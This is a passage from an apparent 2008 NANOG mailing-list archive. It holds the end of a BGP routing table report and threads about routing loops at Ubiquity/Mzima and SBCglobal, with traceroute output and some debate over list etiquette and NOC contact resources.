UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13632 UNALLOCATED 12.20.55.0/24 6517 Yipes Communications 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 13632 UNALLOCATED 12.31.25.0/24 6517 Yipes Communications 27220 UNALLOCATED 12.35.204.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 24.48.244.0/23 7843 Adelphia Corp. 24.51.159.0/24 7843 Adelphia Corp. 24.54.23.0/24 7843 Adelphia Corp. 24.54.224.0/19 20001 HoldCo LLC - Road Runner 24.75.160.0/19 7843 Adelphia Corp. 24.75.192.0/18 7843 Adelphia Corp. 24.142.40.0/21 7018 AT&T WorldNet Services 24.142.160.0/19 7018 AT&T WorldNet Services 24.246.0.0/17 7018 AT&T WorldNet Services 24.246.128.0/18 7018 AT&T WorldNet Services Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:19 /9:9 /10:16 /11:45 /12:146 /13:287 /14:517 /15:1041 /16:10011 /17:4336 /18:7517 /19:15887 /20:18525 /21:18193 /22:22730 /23:23637 /24:137913 /25:837 /26:1030 /27:778 /28:82 /29:7 /30:1 /31:0 /32:6 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 209 1760 3008 Qwest 6389 1664 2662 bellsouth.net, inc. 6298 1582 1606 Cox Communicatons 11492 1194 1210 Cable One 2386 1174 1477 AT&T Data Communications Serv 17488 1033 1219 Hathway IP Over Cable Interne 18566 1026 1045 Covad Communications 9583 1025 1170 Sify Limited 4755 1023 1671 Videsh Sanchar Nigam Ltd. Aut 6478 994 1003 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data/sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:7 8:125 12:2091 13:2 15:22 16:3 17:5 18:13 20:35 24:1092 25:1 32:61 38:450 40:92 41:657 43:1 44:2 47:12 52:3 55:3 56:3 57:25 58:524 59:507 60:452 61:1009 62:1206 63:2031 64:3288 65:2386 66:3509 67:1229 68:735 69:2266 70:799 71:118 72:1961 73:5 74:1064 75:155 76:315 77:749 78:748 79:203 80:934 81:840 82:592 83:377 84:559 85:960 86:413 87:687 88:338 89:1316 90:15 91:1386 92:224 93:691 94:56 96:40 97:31 98:253 99:2 112:1 113:1 114:90 115:3 116:843 117:320 118:190 119:440 120:59 121:562 122:796 123:363 124:890 125:1168 128:361 129:199 130:132 131:410 132:66 133:9 134:186 135:33 136:223 137:91 138:147 139:94 140:493 141:98 142:406 143:325 144:384 145:51 146:366 147:157 148:517 149:198 150:129 151:180 152:144 153:136 154:10 155:251 156:174 157:291 158:187 159:239 160:279 161:118 162:210 163:154 164:525 165:452 166:318 167:330 168:621 169:138 170:423 171:32 172:10 188:1 189:287 190:2206 192:5798 193:4095 194:3231 195:2525 196:1042 198:3734 199:3270 200:5566 201:1462 202:7639 203:8045 204:3987 205:2132 206:2383 207:2762 208:3422 209:3510 210:2592 211:1074 212:1411 213:1610 214:164 215:49 216:4426 217:1195 218:343 219:421 220:1059 221:465 222:306 End of report From nenolod at systeminplace.net Fri Jul 18 14:27:56 2008 From: nenolod at systeminplace.net (William Pitcock) Date: Fri, 18 Jul 2008 14:27:56 -0500 Subject: Ubiquity<->Mzima routing loop Message-ID: <1216409276.25093.122.camel@petrie.sacredspiral.co.uk> Hi, Can someone at Ubiquity or Mzima fix this routing loop: traceroute to hg.atheme.org (72.37.225.164), 30 hops max, 40 byte packets 1 64.62.134.193 12.402 ms 12.370 ms 12.363 ms 2 ge5-0.cr01.ord01.mzima.net (206.223.119.62) 16.003 ms 15.985 ms 15.964 ms 3 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.139 ms 14.858 ms 14.838 ms 4 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.875 ms 15.854 ms 16.497 ms 5 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.747 ms 14.763 ms 14.745 ms 6 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 16.405 ms 8.773 ms 8.758 ms 7 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 9.831 ms * * 8 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.417 ms 4.403 ms 4.381 ms 9 * * * 10 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.293 ms 4.933 ms 4.914 ms 11 * * * 12 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.527 ms 14.526 ms 14.438 ms 13 * * * 14 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.352 ms 14.335 ms 3.770 ms 15 * * * 16 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.684 ms 13.897 ms 13.897 ms 17 * * * 18 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.599 ms 8.581 ms 8.668 ms 19 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.246 ms 20 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.584 ms 8.565 ms 8.545 ms 21 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.119 ms 22 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.456 ms 8.931 ms 8.913 ms 23 * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 6.049 ms * 24 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.862 ms 15.754 ms 15.736 ms 25 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 7.132 ms * 7.092 ms 26 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.293 ms 15.998 ms 10.752 ms 27 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 5.353 ms 5.336 ms * 28 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.800 ms 3.854 ms 3.823 ms 29 * * * 30 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.228 ms 4.426 ms 13.019 ms Thanks! William From aaron.glenn at gmail.com Fri Jul 18 14:40:01 2008 From: aaron.glenn at gmail.com (Aaron Glenn) Date: Fri, 18 Jul 2008 12:40:01 -0700 Subject: Ubiquity<->Mzima routing loop In-Reply-To: <1216409276.25093.122.camel@petrie.sacredspiral.co.uk> References: <1216409276.25093.122.camel@petrie.sacredspiral.co.uk> Message-ID: <18f601940807181240s490c72b5i6690ad8fd1c5b1fe@mail.gmail.com> On Fri, Jul 18, 2008 at 12:27 PM, William Pitcock wrote: > Hi, > > Can someone at Ubiquity or Mzima fix this routing loop: > How long ago did you contact Ubiquity or Mzima? From nenolod at systeminplace.net Fri Jul 18 15:02:22 2008 From: nenolod at systeminplace.net (William Pitcock) Date: Fri, 18 Jul 2008 15:02:22 -0500 Subject: Ubiquity<->Mzima routing loop In-Reply-To: <18f601940807181240s490c72b5i6690ad8fd1c5b1fe@mail.gmail.com> References: <1216409276.25093.122.camel@petrie.sacredspiral.co.uk> <18f601940807181240s490c72b5i6690ad8fd1c5b1fe@mail.gmail.com> Message-ID: <1216411342.25093.129.camel@petrie.sacredspiral.co.uk> Hi, On Fri, 2008-07-18 at 12:40 -0700, Aaron Glenn wrote: > On Fri, Jul 18, 2008 at 12:27 PM, William Pitcock > wrote: > > Hi, > > > > Can someone at Ubiquity or Mzima fix this routing loop: > > > > How long ago did you contact Ubiquity or Mzima? > Sadly, I don't have any contact with either one, but I do need to be able to access that server, and it's responsible admin is no where to be found. William From aaron.glenn at gmail.com Fri Jul 18 15:32:27 2008 From: aaron.glenn at gmail.com (Aaron Glenn) Date: Fri, 18 Jul 2008 13:32:27 -0700 Subject: Ubiquity<->Mzima routing loop In-Reply-To: <1216411342.25093.129.camel@petrie.sacredspiral.co.uk> References: <1216409276.25093.122.camel@petrie.sacredspiral.co.uk> <18f601940807181240s490c72b5i6690ad8fd1c5b1fe@mail.gmail.com> <1216411342.25093.129.camel@petrie.sacredspiral.co.uk> Message-ID: <18f601940807181332l741d92b9pa6659a67253b5da4@mail.gmail.com> On Fri, Jul 18, 2008 at 1:02 PM, William Pitcock wrote: > Hi, > > Sadly, I don't have any contact with either one, but I do need to be > able to access that server, and it's responsible admin is no where to be > found. common sense and courtesy says you should contact ubiquity, then mzima before even thinking of hitting up nanog@ and, wild guess, it looks like it's probably on the ubiquity side of things. From nenolod at systeminplace.net Fri Jul 18 15:49:25 2008 From: nenolod at systeminplace.net (William Pitcock) Date: Fri, 18 Jul 2008 15:49:25 -0500 Subject: Ubiquity<->Mzima routing loop In-Reply-To: <18f601940807181332l741d92b9pa6659a67253b5da4@mail.gmail.com> References: <1216409276.25093.122.camel@petrie.sacredspiral.co.uk> <18f601940807181240s490c72b5i6690ad8fd1c5b1fe@mail.gmail.com> <1216411342.25093.129.camel@petrie.sacredspiral.co.uk> <18f601940807181332l741d92b9pa6659a67253b5da4@mail.gmail.com> Message-ID: <1216414165.25093.136.camel@petrie.sacredspiral.co.uk> On Fri, 2008-07-18 at 13:32 -0700, Aaron Glenn wrote: > On Fri, Jul 18, 2008 at 1:02 PM, William Pitcock > wrote: > > Hi, > > > > Sadly, I don't have any contact with either one, but I do need to be > > able to access that server, and it's responsible admin is no where to be > > found. > > common sense and courtesy says you should contact ubiquity, then mzima > before even thinking of hitting up nanog@ > and, wild guess, it looks like it's probably on the ubiquity side of things. I'm aware what side it's on. However, I didn't have contact information for an actual human on either side of the link, so I posted on nanog at . Normally, I wouldn't take such an action, but the availability of services on that machine (revision control for several open source projects as a starting point), makes the machine's availability essential. William From sah.list at gmail.com Fri Jul 18 16:06:39 2008 From: sah.list at gmail.com (Sean Hafeez) Date: Fri, 18 Jul 2008 14:06:39 -0700 Subject: Independent Testing for Network Hardware In-Reply-To: <003701c8e2d8$ae243180$0a6c9480$@com> References: <003701c8e2d8$ae243180$0a6c9480$@com> Message-ID: IXIA makes a nice product depending on what you want to do. I have one here with some 10G line cards. -Sean On Jul 10, 2008, at 3:02 PM, Frank P. Troy wrote: > I can recommend Isocore http://www.isocore.com/ (the same folks that > run the > MPLS conference). Talk to Rajiv Papneja [rpapneja at isocore.com]. > > Regards, > Frank > > ------------------------------------ > Frank P. Troy > 703-396-8700 > frank at troy-networks.com > ------------------------------------- > > > -----Original Message----- > From: Brian Knoll (TT) [mailto:Brian.Knoll at tradingtechnologies.com] > Sent: Thursday, July 10, 2008 11:16 AM > To: nanog at merit.edu > Subject: Independent Testing for Network Hardware > > Can anyone recommend a reliable independent testing company that tests > network hardware performance? > > > > We are considering buying testing hardware (right now we are looking > at > Spirent TestCenter) and I wanted to see if there were other options... > > > > Brian Knoll > > > > > > > From nanog-post at rsuc.gweep.net Fri Jul 18 16:21:48 2008 From: nanog-post at rsuc.gweep.net (Joe Provo) Date: Fri, 18 Jul 2008 17:21:48 -0400 Subject: Ubiquity<->Mzima routing loop In-Reply-To: <1216414165.25093.136.camel@petrie.sacredspiral.co.uk> References: <1216409276.25093.122.camel@petrie.sacredspiral.co.uk> <18f601940807181240s490c72b5i6690ad8fd1c5b1fe@mail.gmail.com> <1216411342.25093.129.camel@petrie.sacredspiral.co.uk> <18f601940807181332l741d92b9pa6659a67253b5da4@mail.gmail.com> <1216414165.25093.136.camel@petrie.sacredspiral.co.uk> Message-ID: <20080718212148.GA69980@gweep.net> On Fri, Jul 18, 2008 at 03:49:25PM -0500, William Pitcock wrote: [snip] > I'm aware what side it's on. However, I didn't have contact information > for an actual human on either side of the link, so I posted on nanog at . [snip] There's a lot of rolodex resources out there that can get you a remote site's noc or public-facing contact info: whois/irr data for the asn (or ip space if they are run well) http://puck.nether.net/netops/ http://www.peeringdb.com/ ...just off the top of my head. Sometimes data will conflict; I suggest trying them all. It is likely faster than a shotgun mailing list to thousands of people who can't help you. Cheers, Joe -- RSUC / GweepNet / Spunk / FnB / Usenix / SAGE From nanog at data102.com Fri Jul 18 16:49:19 2008 From: nanog at data102.com (randal k) Date: Fri, 18 Jul 2008 15:49:19 -0600 Subject: Looking for Network Solutions mail admin In-Reply-To: References: Message-ID: Just wanted to drop a line and say "thanks" to the folks at NetSol who quickly helped resolve this issue. Cheers, Randal From pauldotwall at gmail.com Fri Jul 18 17:56:02 2008 From: pauldotwall at gmail.com (Paul Wall) Date: Fri, 18 Jul 2008 18:56:02 -0400 Subject: SBCglobal routing loop. In-Reply-To: <787581440807181050h60d6a84n2bb089946b46cb3b@mail.gmail.com> References: <8CBFB4F0-AF6E-4AAF-8FA0-5CDE65505592@highwinds.com> <787581440807181050h60d6a84n2bb089946b46cb3b@mail.gmail.com> Message-ID: <620fd17c0807181556n3300baa0o81f192748135662@mail.gmail.com> I think that's precisely the problem, that the issue could not have been handled "though other methods". I agree NANOG is not a replacement for NOCs, but what about when the NOCs are utterly useless and the issue is global in scope? Given the parties involved, I'd like to think that Logan tried to go through standard channels prior to posting. Please realize this is no slight against nLayer, but rather, "the new AT&T" and their concept of customer service. Paul On Fri, Jul 18, 2008 at 1:50 PM, Ren Provo wrote: > What did your upstream transit supplier advise before you escalated this to > the global audience at NANOG? > This is the second time in 24hrs you have requested assistance here which > could have been handled via other methods. > -ren > > On Fri, Jul 18, 2008 at 1:30 PM, Logan Rawlins > wrote: > >> Anyone from sbcglobal out there? i'm seeing a routing loop. Please >> contact me off list thanks. >> >> sourceip: 69.16.137.66 >> >> >> tracert 75.58.215.133 >> >> Tracing route to adsl-75-58-215-133.dsl.hstntx.sbcglobal.net [ >> 75.58.215.133] >> over a maximum of 30 hops: >> >> 1 2 ms <1 ms <1 ms 192.168.113.1 >> 2 1 ms 2 ms 2 ms 69.16.137.66 >> 3 1 ms 2 ms 2 ms e-2-21-1000m.core-04.phx2.puregig.net >> [69.16.128 >> .110] >> 4 2 ms 2 ms 5 ms v303.ar1.ph.hwng.net [69.16.128.137] >> 5 1 ms 1 ms 2 ms ve1011.r2.ph.hwng.net [69.16.190.161] >> 6 11 ms 20 ms 11 ms 2-1.r1.la.hwng.net [69.16.191.37] >> 7 12 ms 11 ms 11 ms vl101.ar1.lax1.us.nlayer.net [69.31.127.29] >> 8 11 ms 11 ms 11 ms ae0-60.cr1.lax1.us.nlayer.net >> [69.31.127.165] >> 9 11 ms 11 ms 11 ms ex1-g12-0.eqlaca.sbcglobal.net >> [69.31.127.50] >> 10 11 ms 11 ms 11 ms 151.164.188.139 >> 11 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 12 11 ms 11 ms 11 ms 151.164.188.139 >> 13 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 14 14 ms 11 ms 11 ms 151.164.188.139 >> 15 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 16 11 ms 11 ms 11 ms 151.164.188.139 >> 17 11 ms 12 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 18 11 ms 11 ms 11 ms 151.164.188.139 >> 19 12 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 20 12 ms 11 ms 11 ms 151.164.188.139 >> 21 11 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 22 11 ms 11 ms 11 ms 151.164.188.139 >> 23 14 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 24 11 ms 11 ms 11 ms 151.164.188.139 >> 25 11 ms 11 ms 16 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 26 14 ms 11 ms 12 ms 151.164.188.139 >> 27 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 28 12 ms 11 ms 11 ms 151.164.188.139 >> 29 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 30 11 ms 11 ms 11 ms 151.164.188.139 >> >> Trace complete. >> >> >> > From pauldotwall at gmail.com Fri Jul 18 17:57:52 2008 From: pauldotwall at gmail.com (Paul Wall) Date: Fri, 18 Jul 2008 18:57:52 -0400 Subject: Ubiquity<->Mzima routing loop In-Reply-To: <1216409276.25093.122.camel@petrie.sacredspiral.co.uk> References: <1216409276.25093.122.camel@petrie.sacredspiral.co.uk> Message-ID: <620fd17c0807181557s368044a5tc48a223ed329c95f@mail.gmail.com> I'd like to rip on Mzima as much as the next guy, but I'm not sure how they could "fix" this routing loop, shy of some creative ACLs. You should try contacting Ubiquity, as this traceroute looks like an issue on their (Mzima's customer's) side. Paul Wall On Fri, Jul 18, 2008 at 3:27 PM, William Pitcock wrote: > Hi, > > Can someone at Ubiquity or Mzima fix this routing loop: > > traceroute to hg.atheme.org (72.37.225.164), 30 hops max, 40 byte > packets > 1 64.62.134.193 12.402 ms 12.370 ms 12.363 ms > 2 ge5-0.cr01.ord01.mzima.net (206.223.119.62) 16.003 ms 15.985 ms > 15.964 ms > 3 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.139 ms 14.858 > ms 14.838 ms > 4 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.875 ms 15.854 ms > 16.497 ms > 5 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.747 ms 14.763 > ms 14.745 ms > 6 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 16.405 ms 8.773 ms > 8.758 ms > 7 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 9.831 ms * * > 8 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.417 ms 4.403 ms > 4.381 ms > 9 * * * > 10 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.293 ms 4.933 ms > 4.914 ms > 11 * * * > 12 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.527 ms 14.526 ms > 14.438 ms > 13 * * * > 14 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.352 ms 14.335 ms > 3.770 ms > 15 * * * > 16 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.684 ms 13.897 ms > 13.897 ms > 17 * * * > 18 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.599 ms 8.581 ms > 8.668 ms > 19 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.246 ms > 20 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.584 ms 8.565 ms > 8.545 ms > 21 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.119 ms > 22 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.456 ms 8.931 ms > 8.913 ms > 23 * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 6.049 ms * > 24 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.862 ms 15.754 ms > 15.736 ms > 25 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 7.132 ms * 7.092 > ms > 26 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.293 ms 15.998 ms > 10.752 ms > 27 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 5.353 ms 5.336 > ms * > 28 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.800 ms 3.854 ms > 3.823 ms > 29 * * * > 30 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.228 ms 4.426 ms > 13.019 ms > > Thanks! > > William > > > From Guy_Shields at Stream.Com Fri Jul 18 18:07:16 2008 From: Guy_Shields at Stream.Com (Guy_Shields at Stream.Com) Date: Fri, 18 Jul 2008 18:07:16 -0500 Subject: Ubiquity<->Mzima routing loop Message-ID: This is not a routing loop. It is simply a route that was not tied down via a static route to NULL with a weight of 254. ----- Original Message ----- From: "Paul Wall" [pauldotwall at gmail.com] Sent: 07/18/2008 06:57 PM AST To: "William Pitcock" Cc: nanog at merit.edu Subject: Re: Ubiquity<->Mzima routing loop I'd like to rip on Mzima as much as the next guy, but I'm not sure how they could "fix" this routing loop, shy of some creative ACLs. You should try contacting Ubiquity, as this traceroute looks like an issue on their (Mzima's customer's) side. Paul Wall On Fri, Jul 18, 2008 at 3:27 PM, William Pitcock wrote: > Hi, > > Can someone at Ubiquity or Mzima fix this routing loop: > > traceroute to hg.atheme.org (72.37.225.164), 30 hops max, 40 byte > packets > 1 64.62.134.193 12.402 ms 12.370 ms 12.363 ms > 2 ge5-0.cr01.ord01.mzima.net (206.223.119.62) 16.003 ms 15.985 ms > 15.964 ms > 3 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.139 ms 14.858 > ms 14.838 ms > 4 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.875 ms 15.854 ms > 16.497 ms > 5 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.747 ms 14.763 > ms 14.745 ms > 6 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 16.405 ms 8.773 ms > 8.758 ms > 7 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 9.831 ms * * > 8 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.417 ms 4.403 ms > 4.381 ms > 9 * * * > 10 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.293 ms 4.933 ms > 4.914 ms > 11 * * * > 12 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.527 ms 14.526 ms > 14.438 ms > 13 * * * > 14 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.352 ms 14.335 ms > 3.770 ms > 15 * * * > 16 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.684 ms 13.897 ms > 13.897 ms > 17 * * * > 18 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.599 ms 8.581 ms > 8.668 ms > 19 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.246 ms > 20 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.584 ms 8.565 ms > 8.545 ms > 21 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.119 ms > 22 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.456 ms 8.931 ms > 8.913 ms > 23 * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 6.049 ms * > 24 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.862 ms 15.754 ms > 15.736 ms > 25 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 7.132 ms * 7.092 > ms > 26 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.293 ms 15.998 ms > 10.752 ms > 27 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 5.353 ms 5.336 > ms * > 28 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.800 ms 3.854 ms > 3.823 ms > 29 * * * > 30 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.228 ms 4.426 ms > 13.019 ms > > Thanks! > > William > > > From aaron.glenn at gmail.com Fri Jul 18 18:08:23 2008 From: aaron.glenn at gmail.com (Aaron Glenn) Date: Fri, 18 Jul 2008 16:08:23 -0700 Subject: SBCglobal routing loop. In-Reply-To: <620fd17c0807181556n3300baa0o81f192748135662@mail.gmail.com> References: <8CBFB4F0-AF6E-4AAF-8FA0-5CDE65505592@highwinds.com> <787581440807181050h60d6a84n2bb089946b46cb3b@mail.gmail.com> <620fd17c0807181556n3300baa0o81f192748135662@mail.gmail.com> Message-ID: <18f601940807181608p3ba1c6e7m42feb61ce9baf189@mail.gmail.com> On Fri, Jul 18, 2008 at 3:56 PM, Paul Wall wrote: > I think that's precisely the problem, that the issue could not have > been handled "though other methods". I think it should be clear to those posting here as a last ditch effort that they should certainly outline the steps they've already taken -- basically justifying their post to NANOG: "I tried X, waited Y, got Z, and now I'm here" > I agree NANOG is not a replacement for NOCs, but what about when the > NOCs are utterly useless and the issue is global in scope? that's definitely one of the reasons *I* think this mailing lists exists. infact I bet if I wasn't lazy I could find something to that effect in the charter or nanog.org site. > Given the parties involved, I'd like to think that Logan tried to go > through standard channels prior to posting. Please realize this is no > slight against nLayer, but rather, "the new AT&T" and their concept of > customer service. SBC/ATT/whatever peering ops was always my absolute favorite to work with back when I actually worked in a NOC. hopefully that hasn't changed much in the past year. > Paul From mike at rockynet.com Fri Jul 18 19:03:20 2008 From: mike at rockynet.com (Mike Lewinski) Date: Fri, 18 Jul 2008 18:03:20 -0600 Subject: SBCglobal routing loop. In-Reply-To: <18f601940807181608p3ba1c6e7m42feb61ce9baf189@mail.gmail.com> References: <8CBFB4F0-AF6E-4AAF-8FA0-5CDE65505592@highwinds.com> <787581440807181050h60d6a84n2bb089946b46cb3b@mail.gmail.com> <620fd17c0807181556n3300baa0o81f192748135662@mail.gmail.com> <18f601940807181608p3ba1c6e7m42feb61ce9baf189@mail.gmail.com> Message-ID: <48812F48.9090408@rockynet.com> Aaron Glenn wrote: > I think it should be clear to those posting here as a last ditch > effort that they should certainly outline the steps they've already > taken -- basically justifying their post to NANOG: "I tried X, waited > Y, got Z, and now I'm here" To give an example: http://mailman.nanog.org/pipermail/nanog/2008-June/001452.html I started with the customer care support line (in a concall with our client who was also their client). Then I moved onto various email contacts. Since my problem was partially DNS related, I tried the SOA mailto address. Since the other part of my problem was email related I tried postmaster at . I also tried to mail the ARIN whois contacts (but a bug in my client software prevented me from getting the record, and since the error appeared to be on the RPs side it looked to be a dead end) Then I went onto Jared's NOC list, as well as the INOC-DBA directory. By the time I resorted to posting here, I had exhausted every feasible contact method I could think of. And yes, that meant waiting days for resolution BEFORE posting here, and some additional days AFTER posting here before actually getting the help I needed. INOC-DBA is still a great idea, BTW, and would be even more useful if it were more widely used: http://www.pch.net/inoc-dba/ Also, to second another poster's point, most "routing loops" aren't really routing problems per-se, as much as localized link failures and the absence of naildown routes (we use the naildowns on all point-to-point circuits for this reason, since we don't run routing protocol on CPE). From pauldotwall at gmail.com Fri Jul 18 21:25:36 2008 From: pauldotwall at gmail.com (Paul Wall) Date: Fri, 18 Jul 2008 22:25:36 -0400 Subject: Ubiquity<->Mzima routing loop In-Reply-To: References: Message-ID: <620fd17c0807181925pa30c53dneb7fd161047d6dfb@mail.gmail.com> Isn't that what a routing loop is, when it loops back out to the transit/interface from which it entered? Paul On Fri, Jul 18, 2008 at 7:07 PM, wrote: > This is not a routing loop. It is simply a route that was not tied down via a static route to NULL with a weight of 254. > > > ----- Original Message ----- > From: "Paul Wall" [pauldotwall at gmail.com] > Sent: 07/18/2008 06:57 PM AST > To: "William Pitcock" > Cc: nanog at merit.edu > Subject: Re: Ubiquity<->Mzima routing loop > > > > I'd like to rip on Mzima as much as the next guy, but I'm not sure how > they could "fix" this routing loop, shy of some creative ACLs. > > You should try contacting Ubiquity, as this traceroute looks like an > issue on their (Mzima's customer's) side. > > Paul Wall > > On Fri, Jul 18, 2008 at 3:27 PM, William Pitcock > wrote: >> Hi, >> >> Can someone at Ubiquity or Mzima fix this routing loop: >> >> traceroute to hg.atheme.org (72.37.225.164), 30 hops max, 40 byte >> packets >> 1 64.62.134.193 12.402 ms 12.370 ms 12.363 ms >> 2 ge5-0.cr01.ord01.mzima.net (206.223.119.62) 16.003 ms 15.985 ms >> 15.964 ms >> 3 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.139 ms 14.858 >> ms 14.838 ms >> 4 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.875 ms 15.854 ms >> 16.497 ms >> 5 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 14.747 ms 14.763 >> ms 14.745 ms >> 6 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 16.405 ms 8.773 ms >> 8.758 ms >> 7 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 9.831 ms * * >> 8 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.417 ms 4.403 ms >> 4.381 ms >> 9 * * * >> 10 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 4.293 ms 4.933 ms >> 4.914 ms >> 11 * * * >> 12 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.527 ms 14.526 ms >> 14.438 ms >> 13 * * * >> 14 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 14.352 ms 14.335 ms >> 3.770 ms >> 15 * * * >> 16 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.684 ms 13.897 ms >> 13.897 ms >> 17 * * * >> 18 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.599 ms 8.581 ms >> 8.668 ms >> 19 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.246 ms >> 20 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.584 ms 8.565 ms >> 8.545 ms >> 21 * * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 8.119 ms >> 22 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 8.456 ms 8.931 ms >> 8.913 ms >> 23 * ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 6.049 ms * >> 24 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.862 ms 15.754 ms >> 15.736 ms >> 25 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 7.132 ms * 7.092 >> ms >> 26 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 15.293 ms 15.998 ms >> 10.752 ms >> 27 ge0-ubiquity.cust.ord01.mzima.net (72.37.148.158) 5.353 ms 5.336 >> ms * >> 28 ge0-12.cr01.ord01.mzima.net (72.37.148.157) 3.800 ms 3.854 ms >> 3.823 ms >> 29 * * * >> 30 